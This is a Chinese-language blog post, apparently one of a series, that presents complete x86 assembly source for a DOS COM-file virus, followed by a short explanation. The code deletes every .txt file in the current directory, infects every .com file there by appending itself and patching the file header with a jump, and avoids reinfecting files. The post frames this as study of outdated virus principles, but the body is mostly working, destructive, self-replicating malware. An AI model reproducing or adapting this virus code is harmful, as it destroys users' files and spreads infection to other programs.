实验环境同上一篇

上代码:

 
  
  1. CSEG SEGMENT 
  2. ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG  
  3. main PROC NEAR 
  4. mainstart:  
  5.     CALL vstart ;病毒的代码开始处  
  6. vstart:  
  7.     POP SI ;得到当前地址  
  8.     MOV BP,SI ;保存当前地址  
  9.     ;PUSH SI  
  10.     ADD SI,OFFSET v_message-OFFSET vstart ;显示预设字符串  
  11.     MOV DX,SI  
  12.     MOV AH,09h 
  13.     INT 21h 
  14.     ;POP SI  
  15.      
  16.     MOV CX, [BP + OFFSET vset - offset vstart] ;判断是在执行病毒或是在执行染毒文件 
  17.     CMP CX, 1 
  18.     je afterRestore 
  19.   
  20.     MOV SI, BP 
  21.     ADD SI, OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节,感染时无意义 
  22.     MOV DI, 0100h ;目的地址                 ;在执行染毒文件时,用于恢复文件的前4个字节 
  23.     MOV AX, DS:[SI] ;开始复制  
  24.     MOV DS:[DI], AX  
  25.     INC SI  
  26.     INC SI  
  27.     INC DI  
  28.     INC DI  
  29.     MOV AX, DS:[SI]  
  30.     MOV DS:[DI], AX  
  31.  
  32.     mov ax, ds          ;将DTA清零 
  33.     mov es, ax 
  34.     mov si, bp 
  35.     mov di,  offset dta_filler - offset vstart 
  36.     add di, si 
  37.     mov al,0 
  38.     mov cx, 40 
  39.     cld 
  40.     repz stosb 
  41.  
  42. afterRestore: 
  43. set_dta:        ;设置DTA地址 
  44.     mov ah, 1ah 
  45.     ;lea dx,[bp + dta_filler] 
  46.     mov si, bp 
  47.     add si, offset dta_filler - offset vstart 
  48.     mov dx , si 
  49.     int 21h 
  50.  
  51. search_txt:         ;搜索*.txt 
  52.     mov ah,4eh 
  53.     mov cx , [bp + offset del_attrib - offset vstart] 
  54.     mov si, bp 
  55.     add si,  offset del_mask - offset vstart 
  56.     mov dx , si 
  57.     ;lea dx, [bp + del_mask] 
  58.     int 21h 
  59.     ;cmp ax, 0 
  60.     jnc delete_txt ;若找到,则删除 
  61. find_next_txt: 
  62.     mov ah, 4fh 
  63.     int 21h 
  64.     ;cmp ax, 0 
  65.     jc search_com ; 没找到则跳出 
  66. delete_txt:     ;删除txt 
  67.     ;lea dx, [bp + dta_file_name] 
  68.     mov si, bp 
  69.                             ;路径不知道为什么多了3个byte 
  70.     add si,  offset dta_file_name - offset vstart + 3  
  71.     mov dx , si 
  72.     ; MOV SI,BP ;恢复地址值  
  73.     ; MOV DX,OFFSET delname-OFFSET vstart  
  74.     ; ADD DX,SI  
  75.     MOV AH,41h          ;删除文件 
  76.     INT 21h 
  77.     jmp find_next_txt 
  78.  
  79. search_com:             ;搜索*.com 
  80.     mov ah,4eh 
  81.     mov cx , [bp + offset com_attrib - offset vstart] 
  82.     mov si, bp 
  83.     add si,  offset com_mask - offset vstart 
  84.     mov dx , si 
  85.     ;lea dx, [bp + del_mask] 
  86.     int 21h 
  87.     jnc inf_com ;若找到,则感染 
  88. find_next_com: 
  89.     mov ah, 4fh 
  90.     int 21h 
  91.     jc exit_inf ; 没找到则跳出 
  92.  
  93. inf_com:    ;感染com 文件模块 
  94.     MOV SI,BP 
  95.     MOV DX,OFFSET dta_file_name-OFFSET vstart + 3;得到文件名,        目标文件名 
  96.     ADD DX,SI  
  97.     MOV AL,02  
  98.     MOV AH,3dh ;写文件             打开文件 读/写方式打开  
  99.     INT 21h  
  100.     JC find_next_com  
  101.  
  102.     MOV BX,AX ;文件句柄  
  103.     MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 到yuan4byte 
  104.     ADD DX,SI  
  105.     MOV CX,4  
  106.     MOV AH,3fh          ;读文件 
  107.     INT 21h  
  108.       
  109.     mov dx,[bp + OFFSET yuan4byte-OFFSET vstart ] 
  110.  
  111.     mov cx,[bp + OFFSET new4byte-OFFSET vstart] 
  112.  
  113.     cmp cx,dx 
  114.     je exit  ;文件已被感染,不必重复执行 
  115.     mov cx,[bp + OFFSET MZ_file-OFFSET vstart] 
  116.     cmp cx,dx 
  117.     je exit ;不感染MZ文件,只感染com 文件, 
  118.             ;因为com文件才能出现我们想要的效果, 
  119.             ;这也是为什么以com方式写的程序运行时会出现乱码,而com文件不会 
  120.              
  121.     MOV AX,4202h ;移动文件指针,到文件尾 ,DS:AX=新指针位置,即文件长度 
  122.     XOR CX,CX  
  123.     XOR DX,DX  
  124.     INT 21h  
  125.     MOV DI,OFFSET new4byte-OFFSET vstart ;保存到要跳的地方 ,即替换文件时的头部 
  126.     ADD DI,2  
  127.     ADD DI,SI  
  128.     SUB AX,4    ;减去前四个字节 
  129.     MOV DS:[DI],AX  
  130.  
  131.     MOV CX,[BP + OFFSET vset - offset vstart]   ;保存标记,用于判断是执行病毒还是染毒文件 
  132.     MOV [BP + OFFSET flag - offset vstart], cx 
  133.     MOV [BP + OFFSET vset - offset vstart], 0   ; 
  134.  
  135.     ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒  
  136.     MOV DX,SI  
  137.     MOV CX,OFFSET vends-OFFSET mainstart   
  138.     MOV AH,40h ;写文件 
  139.     INT 21h  
  140.  
  141.     ;恢复vset 
  142.     MOV CX,[BP + OFFSET flag - offset vstart] ; 
  143.     MOV [BP + OFFSET vset - offset vstart], cx 
  144.  
  145.     MOV SI,BP ;定位到文件头  
  146.     MOV AL,0  
  147.     XOR CX,CX  
  148.     XOR DX,DX  
  149.     MOV AH,42h  
  150.     INT 21h  
  151.     MOV AH,40h ;将新的文件头写入 ,new4byte写入到感染文件中 
  152.     MOV CX,4  
  153.     MOV DX,OFFSET new4byte-OFFSET vstart  
  154.     ADD DX,SI  
  155.     INT 21h  
  156.  
  157.     ; MOV AX,4202h ;移动文件指针,到文件尾 ,DS:AX=新指针位置,即文件长度 
  158.     ; XOR CX,CX  
  159.     ; XOR DX,DX  
  160.     ; INT 21h  
  161.  
  162. exit: 
  163.     MOV AH,3eh ;关闭文件  
  164.     INT 21h  
  165.     jmp find_next_com 
  166.  
  167. error:  
  168. exit_inf: 
  169.     MOV CX,[BP + OFFSET vset - offset vstart]   ;用来做标示的 
  170.     CMP CX, 0 
  171.     JNE mend 
  172.  
  173.     MOV AX,0100h    ;这是为什么只感染com 文件的原因,因为别的文件头会被破坏 
  174.     PUSH AX  
  175.     RET 
  176. mend: 
  177.     MOV [BP + OFFSET vset - offset vstart], 1   ;用来做标示的 
  178.     RET 
  179. main ENDP  
  180. yuan4byte:   
  181.     RET                                    
  182.     DB 3 DUP (?)  
  183.     vset DW 1  
  184.     flag DW 1 
  185.  
  186.     ;dta记录 
  187.     dta_filler db 21 dup(0) 
  188.     dta_file_attrib db 0 
  189.     dta_file_time dw 0 
  190.     dta_file_data dw 0 
  191.     dta_file_size db 0 
  192.     dta_file_name db 13 dup(0) 
  193.  
  194.     com_mask db "*.com",0 
  195.     com_attrib dw 00100111b 
  196.       
  197.     del_mask db "*.txt",0 
  198.     del_attrib dw 00100111b 
  199.      
  200.     MZ_file DB 'MZ',0 
  201.     new4byte DB 'M',0e9h,0,0  
  202. ;   filename DB "test.com",0  
  203. ;   delname DB "del.txt",0  
  204.     v_message DB "You are infected by a simple COM virus",0dh,0ah,'$'  
  205. vends:  
  206. start: 
  207.     MOV AX,CSEG 
  208.     MOV DS,AX 
  209.     MOV SS,AX 
  210.     CALL main 
  211.     MOV AH,4CH 
  212.     INT 21h 
  213.     ret 
  214. CSEG ENDS 
  215.     END start 

由于com文件十分简单,所以com文件病毒原理也不难,通过将com文件的前几个字节改为跳转指令,跳转到病毒代码处,执行病毒,病毒执行好后跳转到恢复好的原com文件开始处继续执行。

程序能感染当前目录下的所有真正的com文件,并且能删除当前目录下的所有txt文件,com文件不会重复感染。

    由于引导型病毒和com文件病毒都已经“过时”,学习主要是掌握原理,提高对病毒的认识和理解。

       杀毒请搜索。